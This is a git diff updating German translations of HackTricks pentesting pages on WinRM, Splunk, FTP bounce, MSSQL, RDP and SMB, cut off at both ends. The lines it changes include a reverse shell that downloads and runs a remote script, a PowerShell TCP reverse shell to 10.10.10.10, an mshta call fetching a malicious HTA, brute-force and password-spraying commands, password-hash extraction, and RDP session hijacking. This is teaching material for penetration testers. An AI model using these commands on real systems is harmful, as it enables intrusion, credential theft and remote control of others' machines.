zeigen: +Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erwarten, die auf eine erfolgreiche Konfiguration hinweisen. Unten sind Beispiele, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen: - Für ein Ziel, das **ordentlich** konfiguriert ist, wird die Ausgabe ähnlich wie folgt aussehen: ```bash @@ -47,27 +47,27 @@ Die Antwort sollte Informationen über die Protokollversion und wsmid enthalten, ### Führen Sie einen Befehl aus Um `ipconfig` remote auf einem Zielrechner auszuführen und die Ausgabe anzuzeigen, tun Sie: -```powershell +```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) Sie können auch **einen Befehl Ihrer aktuellen PS-Konsole über** _**Invoke-Command**_ **ausführen**. Angenommen, Sie haben lokal eine Funktion namens _**enumeration**_ und möchten sie **auf einem Remote-Computer ausführen**, können Sie Folgendes tun: -```powershell +```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Ein Skript ausführen -```powershell +```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Reverse-Shell erhalten -```powershell +```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Erhalte eine PS-Sitzung Um eine interaktive PowerShell-Shell zu erhalten, verwende `Enter-PSSession`: -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -90,13 +90,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New ### **WinRM Öffnen Erzwingen** Um PS Remoting und WinRM zu verwenden, aber der Computer nicht konfiguriert ist, könnten Sie es mit folgendem aktivieren: -```powershell +```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Speichern und Wiederherstellen von Sitzungen Dies **funktioniert nicht**, wenn die **Sprache** auf dem Remote-Computer **eingeschränkt** ist. -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -108,7 +108,7 @@ $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessi Enter-PSSession -Session $sess1 ``` Innerhalb dieser Sitzungen können Sie PS-Skripte mit _Invoke-Command_ laden. -```powershell +```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Fehler @@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ### Brute Force -Seien Sie vorsichtig, das Brute-Forcen von WinRM könnte Benutzer blockieren. +Seien Sie vorsichtig, das Brute-Forcing von winrm könnte Benutzer blockieren. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index ca82a749c..b805eda43 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -30,10 +30,10 @@ - Mehrere Methoden zur Codeausführung: - Serverseitige Django-Anwendungen - REST-Endpunkte -- Skripteingaben +- Skriptbasierte Eingaben - Alarmierungsskripte - Plattformübergreifende Unterstützung (Windows/Linux) -- Skripteingaben können ausführen: +- Skriptbasierte Eingaben können ausführen: - Bash-Skripte - PowerShell-Skripte - Batch-Skripte @@ -43,7 +43,7 @@ Wichtiges Ausnutzungspotenzial: - Speicherung sensibler Daten - Fehlende Authentifizierung in der kostenlosen Version - Mehrere Vektoren für potenzielle Remote-Code-Ausführung -- Möglichkeit, Skripteingaben für die Kompromittierung des Systems zu nutzen +- Möglichkeit, skriptbasierte Eingaben für Systemkompromittierung zu nutzen ### Shodan @@ -53,11 +53,11 @@ Wichtiges Ausnutzungspotenzial: ### Erstellen einer benutzerdefinierten Anwendung -Splunk bietet eine ausgeklügelte Methode zur Remote-Code-Ausführung durch die Bereitstellung benutzerdefinierter Anwendungen, die seine plattformübergreifenden Skriptingfähigkeiten nutzen. Die grundlegende Ausnutzungstechnik dreht sich um die Erstellung einer bösartigen Anwendung, die Reverse Shells auf sowohl Windows- als auch Linux-Systemen ausführen kann. +Splunk bietet eine ausgeklügelte Methode zur Remote-Code-Ausführung durch die Bereitstellung benutzerdefinierter Anwendungen, die seine plattformübergreifenden Skripting-Fähigkeiten nutzen. Die grundlegende Ausnutzungstechnik dreht sich um die Erstellung einer bösartigen Anwendung, die Reverse Shells auf sowohl Windows- als auch Linux-Systemen ausführen kann. Eine benutzerdefinierte Anwendung kann **Python, Batch, Bash oder PowerShell-Skripte** ausführen. Darüber hinaus **kommt Splunk mit installiertem Python**, sodass Sie selbst auf **Windows**-Systemen Python-Code ausführen können. -Sie können [**dieses**](https://github.com/0xjpuff/reverse_shell_splunk) Beispiel mit dem **`bin`** verwenden, das Beispiele für [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) und [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) enthält. Oder Sie könnten Ihre eigene erstellen. +Sie können [**dieses**](https://github.com/0xjpuff/reverse_shell_splunk) Beispiel mit dem **`bin`** verwenden, das Beispiele für [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) und [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) enthält. Oder Sie könnten Ihr eigenes erstellen. Der Ausnutzungsprozess folgt einer konsistenten Methodik über Plattformen hinweg: ``` @@ -79,7 +79,7 @@ Die Bereitstellung ist unkompliziert: 4. Auslösen der automatischen Skriptausführung nach dem Hochladen Beispiel für eine Windows PowerShell Reverse Shell: -```powershell +```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index 4fcb47027..481fee125 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -1,4 +1,4 @@ -# FTP Bounce Angriff - Scannen +# FTP Bounce-Angriff - Scannen {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ### Manuell -1. Mit anfälligem FTP verbinden +1. Verbinden Sie sich mit dem anfälligen FTP 2. Verwenden Sie **`PORT`** oder **`EPRT`** (aber nur eines von beiden), um eine Verbindung mit dem _\_ herzustellen, den Sie scannen möchten: `PORT 172,32,80,80,0,8080`\ diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 1089369ab..7f05ca1e9 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -14,9 +14,9 @@ Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): ``` ### **Standard-MS-SQL-Systemtabellen** -- **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL Server-Instanz erfasst. +- **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL-Server-Instanz erfasst. - **msdb-Datenbank**: Der SQL Server-Agent nutzt diese Datenbank zur Verwaltung der Planung von Warnungen und Jobs. -- **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden. +- **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL-Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden. - **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte, obwohl physisch in der Resource-Datenbank gespeichert, werden logisch im sys-Schema jeder Datenbank präsentiert. - **tempdb-Datenbank**: Dient als temporärer Speicherbereich für flüchtige Objekte oder Zwischenresultate. @@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` +### Hash-Passwörter abrufen +```bash +SELECT * FROM master.sys.syslogins; +``` ### NetNTLM-Hash stehlen / Relay-Angriff Sie sollten einen **SMB-Server** starten, um den Hash zu erfassen, der bei der Authentifizierung verwendet wird (`impacket-smbserver` oder `responder` zum Beispiel). @@ -269,7 +273,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 > EXEC sp_helprotect 'xp_fileexist'; > ``` -Mit Tools wie **responder** oder **Inveigh** ist es möglich, den **NetNTLM-Hash zu stehlen**.\ +Mit Tools wie **responder** oder **Inveigh** ist es möglich, den **NetNTLM-Hash** zu **stehlen**.\ Sie können sehen, wie man diese Tools verwendet in: {{#ref}} @@ -286,7 +290,7 @@ Sie können sehen, wie man diese Tools verwendet in: ### **Dateien schreiben** -Um Dateien mit `MSSQL` zu schreiben, müssen wir [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) **aktivieren**, was Administratorrechte erfordert, und dann einige gespeicherte Prozeduren ausführen, um die Datei zu erstellen: +Um Dateien mit `MSSQL` zu schreiben, **müssen wir** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) aktivieren, was Administratorrechte erfordert, und dann einige gespeicherte Prozeduren ausführen, um die Datei zu erstellen: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -366,7 +370,7 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -Für **weitere Beispiele** siehe die [**originale Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). +Für **weitere Beispiele** siehe die [**ursprüngliche Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE mit MSSQL Benutzerdefinierter Funktion - SQLHttp @@ -376,11 +380,11 @@ Es ist möglich, eine **.NET dll innerhalb von MSSQL mit benutzerdefinierten Fun ### RCE mit `autoadmin_task_agents` -Laut [**diesem Beitrag**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) ist es auch möglich, eine entfernte dll zu laden und MSSQL dazu zu bringen, sie mit etwas wie: +Laut [**diesem Beitrag**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) ist es auch möglich, eine entfernte dll zu laden und MSSQL dazu zu bringen, sie mit etwas wie auszuführen: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -Bitte geben Sie den Text ein, den Sie übersetzen möchten. +Mit: ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -432,13 +436,13 @@ public void Test() ``` ### Andere Möglichkeiten für RCE -Es gibt andere Methoden, um Befehlsausführung zu erhalten, wie das Hinzufügen von [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) und [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). +Es gibt andere Methoden, um die Ausführung von Befehlen zu erhalten, wie das Hinzufügen von [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) und [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). ## MSSQL Privilegieneskalation ### Von db_owner zu sysadmin -Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank eines Admin-Benutzers** (wie **`sa`**) erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **stored procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können. +Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer gehört (wie **`sa`**), erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -477,7 +481,7 @@ Sie können ein **metasploit** Modul verwenden: msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` Oder ein **PS**-Skript: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 @@ -505,7 +509,7 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Wenn Sie einen Benutzer nachahmen können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff hat** auf andere **Datenbanken** oder verlinkte Server. +> Wenn Sie einen Benutzer nachahmen können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff** auf andere **Datenbanken** oder verknüpfte Server hat. Beachten Sie, dass Sie, sobald Sie Sysadmin sind, jeden anderen nachahmen können: ```sql @@ -522,7 +526,7 @@ Sie können diesen Angriff mit einem **metasploit** Modul durchführen: msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` oder mit einem **PS**-Skript: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! @@ -533,7 +537,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## Extrahieren von Passwörtern aus SQL Server Linked Servers -Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um eine größere Kontrolle über das Ziel zu erlangen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords). +Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um einen größeren Fuß in das Ziel zu bekommen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords). Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Computer haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten. @@ -543,7 +547,7 @@ Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigur 2. Fügen Sie einen Startparameter hinzu, in diesem Fall wird ein Trace-Flag hinzugefügt, das -T7806 ist. 3. Aktivieren Sie die Remote-Admin-Verbindung. -Um diese Konfigurationen zu automatisieren, hat [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert. +Um diese Konfigurationen zu automatisieren, enthält [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert. Für weitere Informationen verweisen Sie auf die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) @@ -551,7 +555,7 @@ Für weitere Informationen verweisen Sie auf die folgenden Links zu diesem Angri ## Lokale Privilegieneskalation -Der Benutzer, der den MSSQL-Server ausführt, wird das Berechtigungstoken **SeImpersonatePrivilege** aktiviert haben.\ +Der Benutzer, der den MSSQL-Server ausführt, hat das Berechtigungstoken **SeImpersonatePrivilege** aktiviert.\ Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie eine dieser 2 Seiten folgen: {{#ref}} diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index cb2ca036f..5b9de5fe5 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -3,9 +3,9 @@ {{#include ../banners/hacktricks-training.md}} -## Grundlegende Informationen +## Grundinformationen -Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch dessen Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird. +Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch seine Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird. **Standardport:** 3389 ``` @@ -22,18 +22,18 @@ Es überprüft die verfügbaren Verschlüsselungen und DoS-Schwachstellen (ohne ### [Brute force](../generic-hacking/brute-force.md#rdp) -**Sei vorsichtig, du könntest Konten sperren** +**Seien Sie vorsichtig, Sie könnten Konten sperren** ### **Password Spraying** -**Sei vorsichtig, du könntest Konten sperren** +**Seien Sie vorsichtig, Sie könnten Konten sperren** ```bash # https://github.com/galkan/crowbar crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Mit bekannten Anmeldeinformationen/Hash verbinden +### Mit bekannten Anmeldeinformationen/Hashes verbinden ```bash rdesktop -u rdesktop -d -u -p @@ -60,7 +60,7 @@ query user ```bash tscon /dest: ``` -Jetzt sind Sie in der ausgewählten RDP-Sitzung und müssen einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren. +Jetzt sind Sie in der ausgewählten RDP-Sitzung und Sie werden einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren. **Wichtig**: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden. @@ -75,13 +75,13 @@ ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman -Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** kannst du jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen. +Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen. -Du kannst nach RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Sie können RDPs suchen, die bereits mit einer dieser Techniken zurückdoorisiert wurden, unter: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Prozessinjektion -Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **du Admin bist**, kannst du dein Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln: +Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **Sie Admin sind**, können Sie Ihr Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -95,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Anfrage zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind. +**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Abruf zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Steuere Maus und Tastatur automatisiert über die Befehlszeile @@ -104,6 +104,10 @@ net localgroup "Remote Desktop Users" UserLoginName /add - Führe beliebige SHELL- und PowerShell-Befehle auf dem Ziel aus, ohne Dateien hochzuladen - Lade Dateien zum/vom Ziel hoch und herunter, selbst wenn Dateiübertragungen auf dem Ziel deaktiviert sind +- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) + +Dieses Werkzeug ermöglicht es, Befehle im RDP des Opfers **ohne grafische Benutzeroberfläche** auszuführen. + ## HackTricks Automatische Befehle ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index a3b4ca5f9..ff92bb2e1 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,13 +4,13 @@ ## **Port 139** -Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** zu "rufen". +Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen". ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Technisch gesehen wird Port 139 als ‘NBT über IP’ bezeichnet, während Port 445 als ‘SMB über IP’ identifiziert wird. Das Akronym **SMB** steht für ‘**Server Message Blocks**’, das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern. +Technisch gesehen wird Port 139 als 'NBT über IP' bezeichnet, während Port 445 als 'SMB über IP' identifiziert wird. Das Akronym **SMB** steht für '**Server Message Blocks**', das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern. Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, wodurch die Notwendigkeit für NetBIOS über TCP/IP entfällt, durch die Nutzung von Port 445. Im Gegensatz dazu wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird. ``` @@ -20,11 +20,11 @@ Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TC Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert. -Freigaben, die **willkürliche Teile des lokalen Dateisystems** darstellen, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **fein abgestimmte Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden. +Freigaben, die **willkürliche Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **fein abgestimmte Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und unterscheiden sich von den lokalen Berechtigungen, die auf dem Server festgelegt sind. ### IPC$ Share -Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von: +Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erlangt werden, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig eingesetzt ermöglicht es den Erwerb von: - Informationen über das Betriebssystem - Details zur übergeordneten Domäne @@ -36,7 +36,7 @@ Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherhe ```bash enum4linux -a target_ip ``` -Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist. +Der obige Befehl ist 